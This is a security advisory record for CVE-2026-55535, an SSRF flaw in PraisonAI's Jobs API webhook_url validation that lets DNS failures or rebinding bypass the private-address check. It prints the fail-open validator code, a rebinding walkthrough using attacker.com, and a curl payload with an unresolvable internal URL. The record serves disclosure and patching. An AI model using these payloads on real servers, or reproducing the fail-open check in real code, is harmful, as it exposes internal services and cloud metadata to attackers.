---
id: CVE-2026-55535
aliases:
  - GHSA-hmfx-4v44-9qw9
  - PYSEC-2026-3890
title: >-
  PraisonAI vulnerable to Server-Side Request Forgery via DNS rebinding bypass
  in webhook_url validation
summary: >-
  PraisonAI vulnerable to Server-Side Request Forgery via DNS rebinding bypass
  in webhook_url validation
severity: medium
cvss: 6.8
cvssVector: 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N'
vendor: praisonai
product: praisonai
ecosystem: pip
affected:
  - praisonai < 4.6.58
patched:
  - praisonai 4.6.58
published: '2026-08-25'
updated: '2026-09-10'
sourceUpdated: '2026-09-10T12:26:06.189526398Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-hmfx-4v44-9qw9'
references:
  - url: >-
      https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-hmfx-4v44-9qw9
  - url: >-
      https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1
  - url: 'https://github.com/MervinPraison/PraisonAI'
  - url: 'https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58'
  - url: 'https://pypi.org/project/praisonai'
  - url: 'https://github.com/advisories/GHSA-hmfx-4v44-9qw9'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-55535'
tags:
  - osv
  - pip
  - nvd
  - ghsa
epss: 0.00219
epssPercentile: 0.12653
cwe:
  - CWE-367
  - CWE-918
ingestedAt: '2026-08-25T15:27:53.303Z'
---

## Overview

### Summary
The `webhook_url` field in the Jobs API silently passes validation when DNS resolution fails (`socket.gaierror`), enabling DNS rebinding attacks. An attacker's domain can initially resolve to a public IP (passing validation) then switch to an internal IP before the server makes the HTTP request.

### Details
The validator catches `socket.gaierror` and silently allows the URL:

```python
# src/praisonai/praisonai/jobs/models.py:55
try:
    ip = socket.gethostbyname(hostname)
    ip_obj = ipaddress.ip_address(ip)
    if ip_obj.is_private or ip_obj.is_loopback:
        raise ValueError("private address")
except socket.gaierror:
    pass  # BUG: DNS failure silently ignored → SSRF bypass
```

The HTTP call is made later with no re-validation:

```python
# src/praisonai/praisonai/jobs/executor.py:402
async with httpx.AsyncClient() as client:
    await client.post(job.webhook_url, ...)  # no second IP check
```

### Proof of Concept

**DNS rebinding flow:**
1. Register `attacker.com` with TTL=1s → resolves to `1.2.3.4` (public IP)
2. Submit job: `webhook_url=http://attacker.com/callback`
3. Validation passes (public IP)
4. Switch DNS: `attacker.com` → `127.0.0.1`
5. Job completes → server POSTs to `127.0.0.1` → internal SSRF

**Unresolvable domain bypass (no DNS rebinding required):**

```bash
curl -X POST http://:8005/api/v1/runs \
  -d '{"prompt":"run","webhook_url":"http://unresolvable.internal/cb","agent_yaml":"..."}'
# Validation: gaierror → pass → URL accepted
```

### Impact
SSRF to internal HTTP services: admin panels, databases, and cloud metadata APIs (e.g., `http://169.254.169.254/`). Exploitable without authentication.

## Affected packages

- `praisonai < 4.6.58`

## Remediation

Upgrade to a patched release:

- `praisonai 4.6.58`